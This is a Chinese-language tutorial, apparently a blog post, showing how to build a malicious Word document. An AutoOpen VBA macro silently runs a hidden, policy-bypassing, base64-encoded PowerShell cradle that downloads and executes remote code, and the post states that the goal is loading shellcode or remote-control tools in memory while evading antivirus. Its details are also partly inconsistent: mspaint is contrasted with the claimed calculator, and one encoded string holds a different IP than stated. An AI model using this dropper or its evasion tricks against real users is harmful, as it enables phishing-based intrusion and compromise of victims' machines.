利用OFFICE宏特性和PowerShell构造远程命令下发通道

本文将介绍利用office宏功能植入VBS代码下载远程脚本,并利用powershell执行的过程。

1.首先需要搭建一个web服务器,用来提供shellceode等,也可以替换成远控客户端。(之所以做这个事情,我们会使用powershell去执行恶意代码,如果这个代码保存在本地,杀软等可以轻松通过静态扫描解决。而由于powershell的特性,可以将恶意代码直接加入内存中,该部分很难被杀软扫描到,故存有绕过的能力)

可以搭建服务器,例如使用windows:https://jingyan.baidu.com/article/adc8151344faadf723bf731f.html

我们可以将我们要下发的指令保存到.js文件:

cmd.js : powershell.exe Invoke-Item c:\windows\system32\mspaint.exe

保存在主页后:我们可以通过http://ip:port/cmd.js访问到

2.office 宏功能

对于不熟悉的同学可以参考:https://jingyan.baidu.com/article/59703552ab30b88fc0074009.html

另外为了让宏教隐蔽的在文件启动即运行,所以注册函数为AutoOpen:https://zhidao.baidu.com/question/1893934225453025260.html

详细VBS代码如下:
Sub AutoOpen()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.exe -w hidden -Nop -Exec Bypass -Enc aQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxAC8AYwBtAGQALgBqAHMAJwApAA=="
End Sub

注意,在VBS中,我们通过shell.run去运行我们的代码,这里我们是通过启动powershell去执行别的命令。由于powershell支持base64编码的内容代码的执行,因此有一定的免杀能力。

在上述代码中几个参数的含义分别是:可参考:http://baijiahao.baidu.com/s?id=1584574371164088458&wfr=spider&for=pc

-w hidden:隐藏执行窗口

-Nop:忽略配置(Profile)文件中的命令。

-Exec Bypass:绕过启动策略

–Enc:执行编码过的代码

所以实际真实的完整payload是:
powershell.exe -w hidden -Nop -Exec Bypass -Enc iex(New-Object Net.WebClient).DownloadString(‘http://127.0.0.1/cmd.js’)
在实际中操作发现,powershell支持的base64编码比较特殊,不能直接对:
iex(New-Object Net.WebClient).DownloadString(‘http://127.0.0.1/cmd.js’)这个部分进行编码转化,需要在每个字符中间增加\x00 如下后在进行base64编码:

iex(New-Object Net.WebClient).DownloadString(‘http://127.0.0.1/cmd.js’)   (每个字符后面都有个\x00

编码转换后得到:aQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANwAuADEAMAAwAC4AMQAyADEALgAwAC8AYwBtAGQALgBqAHMAJwApAA==

我们将VBS保存后到word后,再次点击该文件启动,就会看到执行并启动了计算器。

其中有一点需要注意:实际上整个调用链路是用户点击了调用office文件,其中的宏自动执行,执行的代码是去访问一个host并获取攻击shellcode,由于powershell的特性,可以把获取到的代码直接加载到内存中执行,很难被发现。

发表评论